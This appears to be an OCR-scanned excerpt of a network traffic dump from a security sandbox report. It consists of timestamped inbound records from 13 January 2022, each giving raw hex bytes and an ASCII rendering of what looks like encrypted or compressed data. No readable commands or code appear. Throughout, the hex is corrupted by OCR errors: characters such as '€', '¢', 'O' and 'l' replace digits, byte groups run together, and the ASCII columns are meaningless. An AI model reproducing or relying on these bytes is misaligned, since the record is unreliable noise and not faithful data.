b4 5c 65 8f 93 79 87 c8 e4 05 59 73 5e 96 23 e8 c6 bc d4 24 3f b0 3c cf 7b 34 f1 5 4e 7b 21 f1 66 d8 d9 9d be 8e ae cc
31 dd 98 d4 bb 3d 3c 38 b3 36 77 33 71 49 dc 0 bb fc 25 b7 bd 24 12 5d 81 8f €6 bf 5¢ fd 77 ef 42 24 73 60 b4 61 ed Oe 1c
a7 73 0ae4 24 ef 61 11 2d ec 24 92 12 e2 12 3d Oc f2 4b 4e 7a da 97 9c 67 56 ec d7 69 15 34 5b 72 a4 f0 a5 8f 5¢ 28 7c¢
Oc 48 dc ca a4 44 ae 08 e9 f6 e7 0f 80 b5 15 88 38 85 cb f9 2a 6e 3e b8 4d f8 26 Oe 40 ad b8 33 2f ee fc 51 3d d6 97 87
9d 81 c4 6b Oc 5e 11 13 b2 d3 7d 29 d2 a5 d1 db 2d ca 28 e4 ab el 1d 5e f2 15 b9 d5 9e 74 42 34 Oc 03 7f 8c fe 60 bc 03
2 c6 94 1f 48 25 98 88 5b 70 e2 c4 85 5c df 5a
Data Ascii: [31s>U2Ru-\eyYs"#$?<{4N{!f1=<86w3q1%3$]\WB$s as$a-$=KNzgVi4[r\(|HD8*n>M&@3/Q=k"})-("tB4 H%[p\Z

2022-01-13 19:22:18 UTC 151 IN Data Raw: 53 3 46 3c 1a 15 bf 4b 82 d1 f1 67 80 cO a6 5b 07 6e 49 26 15 b9 €9 Oe 12 98 de 21 47 f2 1b aa f6 b2 52 12 aa
88 b3 35a2 a6 c2 3a 1561 a6 laal Oe c7 7c 4c 88 30 02 d2 c2 bc ae f9 a8 a8 d3 97 39 63 49 07 cf ec 13 4a b6 0 f6 fb
b8 6e fe 22 86 6¢ 04 c8 75 61 cb 37 a5 3d 49 98 45 62 c6 aa 7f 28 70 d6 e7 66 5 15 ec 40 a6 ef 9e ed 71 b2 bd 71 d7 b8
3e aa 1b 6e 7a cc 5a 02 f8 03 e7 68 cf 4a 81 0f fd b9 2c fe 19 68 15 b6 26 b6 68 41 80 a2 33 76 be 64 df c4 44 03 b7 65 88
45 79 9e 46 46 a9 c5 29 d4 08 5¢c 31 03 06 ba 32 87 56 ¢6 ch 24 82 83 b2 75 8b aa 8f 00 f7 f2 2a 79 77 bl 6¢ 3d cb f6 ab
d2 5e c9 bl 77 55 14 5d 76 08 77 87 e4 77 46 da ce f7 21 a9 b1 70 6d 74 f4 3d 48 ee 5b bd 81 f5 74 a4 54 05 90 89 40 eb
51 47 48 e0 5e cf 76 90 9e a4 74 e5 64 8d 28 93 b2
Data Ascii: SF<Kg[nl&!GR5:a|L09clIn"lua7=IEb(pf@qg>nzZhJ,h&hA3vdDeEyFF)\12V$u*ywl="wUvwwF!pmt=H[tT@
QGHvtd(

2022-01-13 19:22:18 UTC 154 IN Data Raw: b7 90 63 05 7b 42 65 85 b6 94 37 31 8a 25 6e 87 16 15 35 Oc 81 1e 06 db c0 9e a4 c8 74 c0 e7 da db 36 42 02
4e 33 b3 el b7 c7 84 b6 58 f9 84 44 da 19 1b 43 de 6d 64 a7 37 50 37 2a 67 be d1 15 8f 2d 4d Oe 41 8b 82 Oc 1c 30 38 84
a2 66 3243 1c 13 cf db e8 49 31 06 12 8e c1 29 84 96 89 e5 4d 7b 38 ¢7 67 c6 ae 21 98 1c 16 aa 08 Oc 72 Oc f2 b2 b4 8e
0Oa e6 af 00 95 88 39 28 e7 1d b0 8e 6a 2a be d7 09 f2 85 58 78 9b ec 13 cb 27 95 fd 5e 86 3d f2 eb b7 34 7d 1d bl b7 1c
18 7f 63 5a 20 f8 36 26 4e 7b 88 c5 1b 51 a6 d6 c7 fa 44 20 b2 54 8e c8 d7 7c ec 08 45 23 af a3 Oc 6b c6 40 df 30 bl 1a
64 1f ff fa 37 08 0a 70 c9 ac b2 60 97 2d 9e 6f a6 Oa 9e dd 3a af 6¢ f2 af 55 92 f9 9f 44 09 af bc aa e6 80 ef 6d c0 89 1a el
8 04 06 e2 11 49 84 71 97 d2 fe 8e 28 22 b8 6b fa
Data Ascii: c{Be71%n5t6BN3XDCmd7P7*g-MA08f2CI1)M{8g!r9(*Xx""=4}cZ 6&N{QD T|E#k@0d7p -0:lUDmIq("k

2022-01-13 19:22:18 UTC 158 IN Data Raw: ec d0 2e 0d c4 4b 37 e6 57 92 f9 15 8f f7 8f f8 31 3d 12 b0 75 30 00 62 88 5b 37 c2 f7 2e 99 b3 ae bd a7 1c c8
€2 c6 dc f4 04 a0 35 47 4f 5a 47 27 ab dc 13 01 53 0f d8 d1 76 c6 83 63 e7 d4 ef Ob 07 3c 38 ca 2f eb a7 75 d2 a7 4c cc f8
4e d4 b3 3 1f 15 09 64 df da Oa 76 89 8e 92 56 99 85 2e 08 02 b9 aa 5f d7 4b 35 6d 17 87 d9 fd 1e 33 3d 80 18 8c 22 24
2f 7d 90 8e a6 44 33 e5 f8 aa el 1b e5 d1 c9 7f dd 8c e5 f0 fc 26 05 2e 75 95 fe 52 43 dc 4c af 36 e2 e2 da 96 1d 12 4e c9
f0 92 89 19 ac ¢9 46 bc 73 92 67 02 a9 dd 0d 8c 5d 68 el 02 5e 05 22 71 83 d0 4f 88 35 78 ad ¢3 bf bl af b2 34 82 a0 6¢
33 ec d7 6d 86 b4 54 8e 05 29 c1 f6 47 59 3c 24 8a cf 44 64 8f b7 bf 31 c1 f4 €6 71 20 6e 87 d5 f4 87 d9 18 10 b1 d9 f7 fb
9a 67 98 ¢6 09 22 7c a3 3d 18 90 7a a8 Oe 10
Data Ascii: .K7W1=u0b[7.5GOZG'Svc<8/uLNdvV._K5m3="$/}D3& URCLENFsg]h""qO5x4I13mT)GY<$Dd1q ng"|=z

2022-01-13 19:22:18 UTC 163 IN Data Raw: cb 73 3e 6f 13 7e 06 af Of a5 ec 2a ee 56 f7 c9 65 fd 3a 20 28 b1 23 12 46 68 65 67 17 6e 87 c0 98 6b el 16 43
d8 2d 31 88 f7 7e c1 1b ff ae 22 8b 25 fe 43 2c b8 3d 3a 4f 3d ee 18 Oa b6 bb 4e d8 e9 69 15 bf db el 71 24 02 28 18 54
75 c3 2a 17 36 6a 8a 48 ac c5 €9 48 81 bd 54 48 45 5a el 8d 9a 1d 4d bl a6 1a 03 24 36 61 0d d7 1c 02 c8 el f2 b3 be d4
55 da ef 90 84 40 98 db 69 Oe 2e Ob c5 cf 93 9f 3d 79 89 b6 40 31 b6 35 8a 59 6¢ 97 96 69 0d 50 29 ea d0 al ef 25 a6 ee
b4 27 67 64 87 43 04 d5 d8 74 a3 df 64 f6 55 7c ¢5 50 11 b5 af 45 c6 de 80 d0 04 d7 a7 2e 6a 3f 2d e9 2c 6a 95 fd bd 2a
12 d9 Of dd 07 87 0d 38 49 52 1e 00 b9 43 2c ef 59 13 af b6 86 20 7d 2f 7c 6¢ f5 a5 96 bl c1 53 56 4b 2a 77 47 2c 18 bl
c6 ca f6 16 96 19 c9 f1 5e e5 3e a6 24 dd 5f Ob 54 12
Data Ascii: s>0~*Ve: (#FhegnkC-1~"%C,=:0=Niq$(Tu*6jHHTHEZM$6aU@i.=y@15YiP)%'gdCtdU|PE.j?-,j*8IRC,Y
YIISVK*WG,">$_T
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Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 167 IN Data Raw: 5¢c ae 8e 88 70 de 3f a8 f6 46 a2 ae 92 11 5d 1a 14 2e a5 2b 97 88 28 a3 47 19 b9 45 4a a9 ed e2 7b 32 {3 84
0a fO 73 9a 6f 50 8b 90 3d 7a 01 3d 1d a8 4e 9b b3 70 14 49 a6 19 dd 6a 85 cd 71 85 3d le ae 44 d0 fe 10 2f 01 c6 bc 64
3e 4a 58 9e 62 ef af 11 be b5 2d 30 6d 7d 52 b9 4f 6e c3 {7 f5 81 04 39 7a e0 3f 92 32 c4 f6 7d d4 d1 35 52 96 80 10 25 4f
29 1a 63 b0 2a 60 6a 77 5e 55 06 c7 Oe el ae 37 c7 18 cf ae 6e f3 cc ec db 71 f8 fb cc 5¢ ad fb 9b 32 ac 35 da c9 2e 51 8f
09 35 7af8 1b b7 63 ef 38 77 63 43 56 23 48 d3 60 €9 Ob c3 51 55 ¢4 2b 65 db 72 43 a8 59 eb 9d 38 af 3e d3 f9 66 ee c9
1c 86 ed 44 4f fd 28 64 ea 4e b7 cc 95 54 0f ab c6 79 d5 10 3b d9 74 a3 be 89 73 11 8e a0 8b 11 8d 74 85 90 ad 5a ac 5b
02 f3 19 9a 05 fa d5 19 4d 47 a6 09 46 63 ef 5a 7d
Data Ascii: \p?F].+(GEJ{2s0P=z=Npljg=D/d>JXb-0m}ROn9z?2}5R%0)c* jw U7nq\25.Q5zc8wcCV#H QU+erCY8>fDO(
dNTy;tstZ[MGFcz}

2022-01-13 19:22:18 UTC 171 IN Data Raw: 17 c4 6a 4c b8 84 93 b7 35 33 3f e2 93 fa 4c ad 67 €3 52 cc e4 a7 9c 02 aa 29 4f ec el 13 c6 cf 7e a5 84 42 25
03 06 a6 Ob 6f d9 1d 7b d4 ba c8 ec b9 06 a8 64 8e 2d 8d eb 31 7f 1e Ob 3e f8 e0 a5 ce 3a 9f c7 61 d6 27 3a fd e3 cd b3
b7 55 ab b5 80 77 21 fd 77 f7 83 ae 55 7e 8f cc fb c4 33 47 5d f4 84 9c ec 6f 20 b3 f4 a2 c3 03 07 cd ce 8a ce ff 38 26 b0
36 05 3d d9 72 50 e0 db a7 85 c6 de 37 19 6a 91 e3 1b 9b 90 cf d0 04 bd 5d 70 a9 b7 b7 b7 b2 db d1 1b f1 aa 05 31 85 5f
6c 2d 9a 18 e4 37 bc c0 dc 3a 8b al 3f b3 bc 9e a9 43 a4 a6 12 55 09 de 2a 1d ea b4 70 d1 96 c3 44 5c 63 7a 39 c3 95 48
d3 71 27 ed 24 b2 8f ec bb 45 59 62 5f 99 fc 4a d6 9d 91 7d 7d 3d b6 40 36 04 b3 57 80 2d 80 59 71 Oa 13 6b f4 27 9e 1d
09 36 Oc 42 51 25 ed 4d 75 25 e6 2b 31 83 6b 85 79
Data Ascii: jL53?LgR)O~B%o0{d-1>:a":Uw!wU~3G]o 8&6=rP7j]p1_I-7:?CU*pD\cz9Hq'$SEYb_J}}=@6W-Yqk'6BQ%Mu%+1ky

2022-01-13 19:22:18 UTC 175 IN Data Raw: a2 1b eb 33 9e 27 7a 87 67 d8 61 78 b8 34 0d d9 01 9f ed f2 a8 1e 62 90 61 fd eb 04 9d 4a 64 83 c1 52 d1 10
d5 88 ec 7c 5f 78 b0 28 00 €0 79 01 78 6d fe 52 cb 7f c¢8 d5 05 f3 55 b0 c4 aa 25 eb 25 24 5f fd 86 99 4e bb 56 ef 31 df 20
07 b0 f2 f6 22 76 a3 83 00 1c b5 ca 3e 8a 2b 8a 49 42 5f ee 82 2e ¢8 13 a6 16 54 5 48 f6 db 1c bc 21 83 d0 e7 37 28 6e
08 9e d9 bd 3b b3 b5 b9 22 8d fd 03 f6 fd 5d 7f ce e2 9a a6 74 18 83 73 ac 2b 88 49 20 df 7f d1 ad 4c 29 91 fb dc 2f 33 4e
7d fae8 50 db 19 c9 e4 09 7f 2b 43 Oc b7 a4 le 7f a0 6f fd 47 87 65 f1 29 91 fe 8b 79 b7 1a b7 57 84 4d 58 6 fb 39 d5 33
5c 43 0f df 16 4d 80 1c ec dd cb 80 ec b9 4e ca 70 54 98 c6 19 6f f1 28 16 44 4d 12 13 88 8b 34 f8 4a cd 64 14 84 5f 14 89
39 dc 8a 50 d0 79 e6 d7 16 8d Oe 2d 90 6b 1a
Data Ascii: 3'zgax4baJdR|_x(yxmRU%%$_NV1 "v>+IB_.TH!7(n;"lts+| L)/3N}P+CoGe)yWMX93\CMNpTo(DM4Jd_9Py-k

2022-01-13 19:22:18 UTC 179 IN Data Raw: 2b 49 fd 59 08 b8 3b f8 a9 bb 56 97 1e 17 31 8a 24 59 cd 14 31 f3 d4 80 19 f7 ab 17 ce 89 35 60 07 8a 93 e4
8e 68 d0 38 08 c5 37 1b 14 35 55 da 48 b1 b0 ad c0 95 dc ed fb b9 31 22 c5 e6 35 8e 9c 69 db 66 42 87 b8 4a 53 95 96 f5
c4 a5 8b bd 78 8b 05 b7 34 9a da 23 94 31 33 f2 8¢ 2c 19 00 2f fe 09 1b 36 55 99 f8 57 d2 95 8¢ b2 b7 df 03 fe ac 98 b9
2834 46 7e aa be 17 db 18 ba al 40 Oa 76 d5 e5 4b 18 2a 90 01 ca 84 40 3c 25 9d Oc c8 6¢ a5 28 3 29 cc 46 03 e0 3d
55 7a b3 76 92 06 06 39 90 59 fd 68 aa a9 aa ce 49 cc 81 bb 3e 2d 5d 0a 51 5c e9 31 85 7a 99 a3 ba ed 25 Ob a7 47 al
dc 18 26 89 a5 4a 95 14 dd be fc b4 a2 7d cf 07 ¢5 74 1a 69 el 96 64 68 5e 2d fb ad 55 85 12 4f b5 a3 1d 65 79 b2 2e 7f
cd 8f 2a 6¢ €9 5e 9c 9b Oe a0 Of cb 59 9f bf 60 07 58 df f4 6e
Data Ascii: +1Y;V1$Y15'h875UH1"5ifBISx4#13,/6 UW(4F~@VK*@<%I()F=Uzv9YhI>-]Q\1z2%G&J}tidh"-UOey.*INY " Xn

2022-01-13 19:22:18 UTC 183 IN Data Raw: a3 Oc fb 1a 88 b9 c0 57 e6 e6 a4 90 6d €0 28 al 6¢ 29 79 b5 9f 75 1a dO 4e 22 df 0d 82 3b 18 6e 76 b9 bb b5
de 09 2f 5a 9f 6b e2 1e f6 1c d6 ab 9b 47 ab ae f5 b9 d6 45 bf de c9 f7 32 38 ac 3d e8 5f Oc 70 23 5a d3 c3 52 d6 14 9e €6
40 b2 5f 7f 7a 6¢ 69 3b 4f a3 fe 61 66 bb 2d 5e 23 86 €9 7e b5 bd 59 d3 71 d5 42 c3 7a d8 5a 94 a6 a8 f0 50 ed e2 17 3d
04 c3 b7 07 3e 2f 9d d5 1c 9b a6 ed 4b f0 37 2a a8 9f d9 5d 76 55 14 6d 42 36 64 €9 23 5f 82 7f 7a a0 03 ¢5 11 55 2f 3a
58 81 8f 46 1a 14 1b 64 c5 2a c4 f2 6b 94 77 20 ea ad da 48 a6 b0 75 aa 73 47 b2 9a a2 9d 80 52 b3 Oe 45 54 f1 23 07 bb
03 be Oe 29 69 a3 87 6f cO e4 6f 96 1c 4e 9c 84 63 63 8f €3 3c c2 8d 82 eb 1e 63 03 27 b5 ca 6d 2a ad 79 cd 2c 15 df a0 f3
b4 07 ad c2 35 60 7b 9a 2a 36 ae 21 95 2a 62 49 35
Data Ascii: Wm(l)yuN";nv/iZkGE28=_p#ZR@_zli;Oaf-"#~YqBzZP=>/K7*lvUmB6d#_zU/:XFd*kw HusGRET#)iooNcc<c'
m*y,5'{*6!*bI5

2022-01-13 19:22:18 UTC 186 IN Data Raw: 4b 7e a0 28 86 ea 34 07 Oe 82 b6 41 71 87 29 7d d8 ab 30 f0 0d 88 22 aa 4c c8 5 ad 28 1f 7e c2 83 0f c9 7e 4e
cf df 45 94 b3 e8 Oe a5 d6 34 be bd 78 30 6¢ da 1d 64 €9 69 ad 8b 95 7c 05 fO 0a 37 bc 2¢ 5d af b0 f4 a2 dc 1d 32 32 68
3099 a3 d9 d2 c4 90 53 7c b4 05 cO c6 d2 29 7e 89 eb 38 80 7e 4f 7a d7 1d 57 1d 1b e9 5e 94 3f 6e 80 9d 4c be d6 37 8f
b4 ce ac 71 e0 ae 6f 3b 25 d0 31 2e ef f2 1c c7 48 a8 7c 8¢ 7b ed cf 25 68 af af 29 39 7c f0 6d 67 6a a2 4e 09 78 2f 7d 5b
€6 16 94 bf 8d fa 13 Ob fe 61 bc f5 03 35 70 56 30 bd Oa aa 70 4f 4b €9 e6 96 6d c2 88 bf f5 f6 17 7c 15 07 81 54 c6 9f b7
b3 17 34 b6 35 7b c1 d5 e6 Ob 24 ae 83 ad el cc a3 77 42 34 86 c1 30 56 €0 05 50 9f d4 d7 b6 9f dc 99 7c b5 56 f4 ea 5f
d2 el 6e fa b8 41 59 19 5b d7 95 9e 3c f2 dO 3d
Data Ascii: K~(4Aq)}0"L(~~NE4x0ldi|7,]22h0S|)~8~0zW"?nL7q0o;%1.H[{%h)9|mgjNx/}[a5pVOpOKm|T45{$wB40VP|
V_nAY[<=

2022-01-13 19:22:18 UTC 190 IN Data Raw: al cbh 87 04 c6 84 6b ¢8 4c ad 62 75 96 8e d6 a8 93 c1 37 10 e8 6d 35 54 36 46 ea a7 ed 56 b8 ff f1 a2 b7 f6 €6
a2 ee 47 af b8 fd 2f db b2 78 ed ea 14 72 3c 77 33 51 bc 90 c6 bd cd 23 13 bl cb be cf 82 5e fb 83 8b a7 20 97 4c 71 b8
86 c2 f3 df 97 81 f2 14 61 66 9e dd d7 c8 e4 10 ae Oe 8¢ a3 e0 f8 a3 18 f3 eb 12 dd 78 11 a0 b8 55 25 50 80 53 89 11 Oc
17 de 52 50 04 23 69 39 a6 4a 94 31 b2 4c fe 5f 9b f1 3c db 7f d7 1a f3 €9 7b c1 db c0 4a dd c3 ef 41 03 45 5f be 83 45 45
b0 df 79 3a 6d 2b 2e al 08 4b d5 96 d1 4b d1 b4 e0 d7 d1 09 41 46 40 ff e2 da 4a b4 cb el 07 ad ed Oa e7 48 62 5d 55 3d
83 0d b1 7d f8 3b e5 6a 9f 5a Ob 89 7f db 93 5a b5 b2 f0 a8 f2 a0 ef 6e 66 82 a9 5b cb €7 b7 24 09 52 fa 98 42 a4 80 el 0d
87 4d 91 31 19 b6 07 40 8f 75 32 47 cf c8 ca 13
Data Ascii: KLbu7m5T6FVG/xr<w3Q#" LqafxU%PSRP#i9J1L_<{JAE_EEy:m+ KKAF@JHb]U=}jZZnf[SRBM1@u2G

2022-01-13 19:22:18 UTC 195 IN Data Raw: 59 9c ad 4f 1b cf 8e 8e 56 d9 b5 f6 b1 7e 56 d8 ec 8b 8b 40 4c a7 5¢ 93 ba c5 f2 a7 8c b9 79 18 54 37 29 7a 8e
26 8f db ad 9a a6 68 3d 60 49 1f d1 9a f8 9d 71 ab 03 03 ab 2b 2a 65 d5 98 b5 76 7e 7f 63 4d 8e c¢8 32 ac 88 bb 7d 36 c2
57 44 90 98 16 70 c8 23 b9 ce f9 46 dd 2b 27 28 cd a2 c8 69 10 01 40 a2 07 88 59 e5 09 d6 49 a3 91 12 1d 38 2d 83 6e
db 3b 5f 68 6d b9 67 7d 84 f1 09 a3 51 1f a5 1d 33 e3 3c 18 3e b9 1b 51 37 7c b4 92 33 a9 ec 6f 6f b3 19 83 00 30 e6 6b
eb 66 c6 82 28 69 e0 f4 04 f6 39 c2 f6 e9 a7 ba 0a 64 13 cb 5 8e 05 {7 db b0 dc 77 cd bd ff 13 58 4a 63 68 9f 5a d5 21 24
Oe a4 34 12 d3 99 al b6 c5 10 47 45 51 e6 66 04 d6 01 ef d2 12 a4 9a 53 c2 ab 4f d5 9c db 70 f8 8e e7 73 c6 a0 33 a0 73
3867 2b 90 70 94 12 ff be 43 27 ¢7 31 46 b1 41 60 9d
Data Ascii: YOV~V@L\yT7)z&h="Ig+*ev~cM2}6WDp#F+'(i@Y18-n;_hmg}Q3<>Q7|3000kf(i9dwXJchZ!$4GEQfSOps3s8g
+pC'1IFA’

2022-01-13 19:22:18 UTC 199 IN Data Raw: 14 d7 45 35 e8 f9 df e0 d0 f6 5e 13 af 2d 92 7d 84 6a c5 23 fd 7f 63 57 e8 04 07 1c fe 89 2d 05 0d 4e 83 83 ea
c0 86 8c 7f 76 c1 c1 30 8d 21 a5 53 Oa d6 ca 34 94 09 6b fe 79 c8 6 af f8 €3 04 6¢ 92 40 bb 9f ¢6 3d b8 35 13 7f ad d6 a4
63 95 67 de 4b a8 de 8a 31 17 2f a9 28 01 ff 8b 7a 73 ae e6 6b 2f 00 fd 27 75 64 40 7b 04 ca 7a a6 5e Oe f3 45 97 b3 ab
26 ed c9 8¢ 1le 34 le 6e a5 36 bf 16 9d 47 14 ac 6e 4e fc 06 7b 2d 33 6a a3 19 77 35 0a 41 41 98 07 d3 e 65 84 df f2 58
81 f0 74 a8 d1 el bd 23 3e 98 50 83 cb a5 af ba 26 49 42 a7 50 a9 51 c6 c4 ¢3 d7 af 78 53 70 12 1c 2e a0 42 4b df 4b 1d
ff 62 1b db fd 36 3c dd 75 a7 48 c9 bb 7b 71 f7 89 2a 92 ea 77 a7 3a 18 fd 0a 14 bd 50 a4 67 4b f1 7d ce 20 00 36 57 26
20 ec 51 bc 3b cd bf 48 fe 75 b2 31 bf da bl 8c 1a
Data Ascii: E5”-}j#cW-Nv0!S4kyl@=5cgK1/(zsk/'ud@{z"E&4n6GnN{-3jwsAAeXt#>P&IBPQxSp.BKKb6<uH{g*w:PgK} 6W&
Q;Hul
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Timestamp transferred Direction Data

2022-01-13 19:22:18 UTC 203 IN Data Raw: Of b7 bb 8a 72 93 04 9e 2a 29 96 30 d8 ca 49 87 e1 d0 52 40 88 31 b8 15 f6 74 b8 3a 2e 42 1e 5d 06 cb 7e 06
b7 17 94 e1 79 48 c2 eb ec 8f c5 63 1f 10 64 3d 00 3b 77 0f 86 97 8b ee b5 aa e3 61 19 Oe Oe f4 3e 5f 8f a8 91 37 c7 1e 3c
bd 94 6f 2b 55 05 bc 57 b1 86 06 b4 49 8f 36 5b 74 Oc 12 08 3b d1 78 ac 1e 0f 41 80 91 8e 11 df df 10 4c 89 26 c0 e3 85
a6 Oe 5e f1 0d 1a 9f 70 79 7e 3d 8c e5 93 87 ad 8e 98 c1 63 8f bf da bc a4 45 bc 02 9b de 88 82 99 50 3f 3c 71 a3 d2 c4
e7 74 c8 07 45 2c 48 72 d7 90 62 2b 4f 48 7a a7 ea 51 60 47 21 40 6¢ 27 af ba be fe 4b 07 ca c5 f9 ee 4e b0 fa 69 6f 24 {7
a9 41 55 96 a8 5a c2 b5 26 bd 1f 75 12 40 41 a9 ef c2 e0 ee 7f 49 03 b8 8¢ db a2 9f 57 ba 99 97 9a 18 67 61 52 5d 42 42
57 fa 2b 40 b5 59 45 a6 d6 11 5d 53 f6 f4 7d c8 bb
Data Ascii: r*)0IR@1t:.B]~yHcd=;wa>_7<0+UWI6[t;XxAL&"py~=CEP?<qtE,Hrb+OHzQ G!@I'KNio$AUZ&u@AIWgaR]BBW
+@YE]S}

2022-01-13 19:22:18 UTC 207 IN Data Raw: 3f 98 6b cO ed c1 a2 31 2d 2d 6b f5 €9 51 c7 Of eb ¢5 98 11 42 15 78 43 26 c3 f7 e4 92 88 6a d7 5 21 35 ff 89
c5d2 11 20 3a 3a a8 b8 5¢ 74 5¢c 6d e5 45 13 e4 ad 46 da 68 €9 a3 be d3 48 06 53 7f 64 02 bc 18 56 b3 7a b6 e7 fd 31 93
33 e8f6 42 b4 e7 35 ee 92 ad 54 2a 97 Ob 80 50 da a0 4d 3a 01 Ob 59 08 a4 5¢ 90 8d 75 3a 3d 9a 37 e4 41 d4 ae f1 Oe bl
dd de a2 38 d9 62 8f 22 b7 5b 05 c7 fb 7 80 4c ed 40 ac 4c 84 Ob 2c dd 73 38 48 37 4b a0 00 47 3a 9a 02 d2 d8 6 dc cc
0Oc 29 26 36 8a 91 ed dO 7b 4c 01 cd 08 28 41 fb 11 4e 91 89 d7 1b 9d ae Oa ee 50 e8 58 19 b5 7d 97 5a 44 c0 af 7f f6 d3
0a 99 76 46 5f a2 f9 06 8a 65 ee 50 d1 7 1f Oa 4f 1d 7a df 12 26 5c 5e 4b 5d 10 8b cd d2 68 2f ed 2e Ob 4f a0 82 5d 7b 60
9c 97 6f 64 €9 48 54 6d 91 5a f5 Oc ae c2 42 ad 42
Data Ascii: ?k1--kQBXC&j!5 :\t\mEFhHSdVz13B5T*PM:Y\u:=7A8b"[L@L,s8H7KG:)&6{L(ANPX}ZDVF_ePOz&\"K]h/.O]
{'odHTMZBB

2022-01-13 19:22:18 UTC 211 IN Data Raw: ff 80 9¢c 58 Oe a0 39 ca 96 17 4b 7e d3 aa 43 88 2c¢ 35 4e 37 9a 77 d6 1c 62 d2 88 fe aa 19 ae 64 1d 25 fb de
66 48 bb 44 41 c0 b8 1d 05 c7 bd 07 3f 47 ¢4 26 d0 65 5b 07 c5 f8 7d 7c b6 32 bf 20 fe 09 77 45 42 55 ea 25 65 f0 a4 85
67 8b de 7a 43 d9 1f 9e b0 59 27 72 7f 2d 74 Oe 8f 65 10 89 €8 d9 6e Ob 7b 85 3c a6 9b 97 cf be 68 00 da 7b 59 db ef cO
32127980 8d c9 b9 6f 62 aa fd 61 af 6a 9c 51 bc e6 70 c2 5b 22 fO 7a 26 56 b9 03 9a 85 a5 e8 64 ed 8b 35 f5 44 22 c7
74 8a4b 17 bb 8¢ 72 98 45 54 59 77 7a 96 95 1b 2e 5d f3 1e df 9b a7 00 54 el dd b4 e8 d5 6a 9c 7a 84 c6 93 7d 52 ee 53
f3 04 e5 b8 ea €7 86 ad 41 10 94 2f 28 88 f3 27 e0 fa 13 af 78 87 a8 el 70 e9 b4 ca 01 52 c4 f5 be 90 7a d1 32 a2 c4 42
98 87 57 f8 51 7b 43 ba 27 €5 77 cf 16 e6 b5 c3 €2 71 03
Data Ascii: X9K~C,5N7wbd%fHDA?G&e[}|2 WEBU%egzCY'r-ten{<h{Y2yobajQp["z&Vd5D"tKrETYwz.] TjzZ}RSA/('xpRz
2BWQ{C'wq

2022-01-13 19:22:18 UTC 215 IN Data Raw: 19 94 8b d9 c9 cc 30 db b6 24 31 23 2c 07 8f be 69 27 29 2a 78 68 9a 33 2c 52 d3 59 fa 8f dd 17 fd 87 ec 06 5¢c
48 24 24 c6 da 15 4d 98 ca 09 61 fc c7 b4 2d b0 5e 9a 5f 8f b9 64 7d 66 8b 8e cd 9b b9 a4 62 e8 39 43 9f fc 23 d9 a7 42
67 58 83 df 2f €9 68 3b €8 37 6b 82 27 49 ea c1 1a 05 c4 31 76 c2 ec 21 Oc 69 1f bc af 5b eb 67 96 al a0 db 67 b5 52 81
b2 5f e0 f9 aa b7 7b 2c ¢3 5b 41 be a2 bf 7e ba af 6¢ dd de 57 4b e8 5d 80 87 5d ce 5b 50 76 fO 77 43 90 45 01 71 ed 47
e2 37 5¢c b6 56 11 9a 4a d9 Oe 50 27 78 bf a4 99 57 4c bf 70 a8 4b a3 6¢ 47 e9 6f 36 66 6f 85 a9 el b6 72 17 e3 1c b4 d3
b7 95 cf 38 82 62 38 3e cf 6f 06 e4 8c df cd be 58 3f al 8e fd 9a ac c9 1e 92 66 cc 5f f1 82 f4 90 f3 0a 51 b9 43 74 e4 62
98 dd 78 50 78 98 e5 a3 f1 f9 7d 92 20 95 15 c0 5d
Data Ascii: 0$1#,i")*xh3,RY\H$$Ma-"_d}ftb9C#BgX/h;7k'I1vli[ggR_{,[A~IWK]][PvwCEqG7\VJIP'XWLpKIGo6for8b8>0X?
f_QCthxPx} |

2022-01-13 19:22:18 UTC 218 IN Data Raw: e2 c1 78 5e 30 a3 a2 09 ab be 8a 36 f5 Oc d5 74 3c 9d 40 5a 09 45 bb 5a ab f0 28 f0 ff e3 35 2e 27 b8 f1 81 28
b2 2e b8 bc c1 34 55 73 a7 e6 7e f0 68 01 b2 74 22 60 28 Oc 6f ee a5 72 42 12 24 8a 7a 76 60 ba 33 db b9 a6 45 07 4d 8a
10 9e eb 30 b9 44 86 6a 3b 88 c2 b2 af c9 f3 db 01 09 b9 90 86 ef bb bc e6 c2 f8 48 e4 e4 ec a7 41 4a 92 98 f9 fb 9c 33 4d
a6 Oa 7a a0 84 27 18 91 4b 42 4a 65 74 fd 4d b5 e7 6d 05 47 18 5d 71 79 ff 07 44 aa 6b 3f 68 d4 c7 03 5¢ be 2e 69 2a bb
7501 ad f2 7c 4a ef 51 04 03 7a c1 47 53 43 81 82 a6 1f 5b 69 Oe be 86 8f 79 21 e5 42 69 15 56 5a 68 35 d4 31 3d bb 32
b3 84 42 26 b6 d0 27 c3 e0 8¢ 7b 07 e5 6 5a 68 4b 2a 8f d3 a2 e2 le 72 89 1f 2¢ 29 b8 fa 8a b9 82 8a 56 47 23 d8 72 15
7508 b0 a7 c1 4b 86 fc 1f 17 42 92 a5 3b d6 fO 3b
Data Ascii: X*06t<@ZEZ(5.'(.4Us~ht" (orB$zv' 3EMODj;HAJ3MZz'KBJetMmG]qyDk?h\.i*u[JQzGSC[iy!BiVZh51=2B&
{ZhK*r,)VG#rukB;;

2022-01-13 19:22:18 UTC 222 IN Data Raw: 90 1d 5d a0 3c 30 7b 1c 08 b5 1e 28 el e0 a6 68 2e 96 67 c6 7b 8c b7 bd 55 15 88 df ed e7 6e 7b e0 85 07 d5
f2 34 88 db 57 d2 63 5d 69 5e 3f 9b e5 32 0a bb b3 61 2f d9 51 ce dc c9 22 e4 a0 12 54 22 a3 8f 4b 73 2b 31 6¢ 5e b7 c7
ae db 73 b3 98 d9 34 b2 16 €0 15 e7 57 e5 82 08 68 4f b7 Oa ed c1 36 5d 9d 04 39 51 53 a4 da bf 7e 1e 80 4e e0 e3 €6 4c
ff 50 de 89 el 4b el 7 9b a5 15 1b bl da ee al 72 la dc 21 74 a2 2f ac 40 d5 45 2c 7 34 96 1b b6 83 a7 54 86 0f 79 94
cd 6 02 ac f6 36 96 48 d5 8d 3d cf 71 f5 8f f4 12 48 7f 7b b7 d6 69 49 a7 fb fb de 02 30 61 ed 76 4e 67 3a 1la f2 28 b7 84
53 f5 32 82 b5 f1 52 e0 e4 2a 56 18 92 92 5¢ Oc 1b 2c a2 09 29 80 70 2e b4 a9 13 c3 45 af 70 82 04 {3 92 1a f1 Of cf d9 c7
45 16 2a 26 8b 40 9a 23 bb 3 69 ed e0 62 df 44 ae
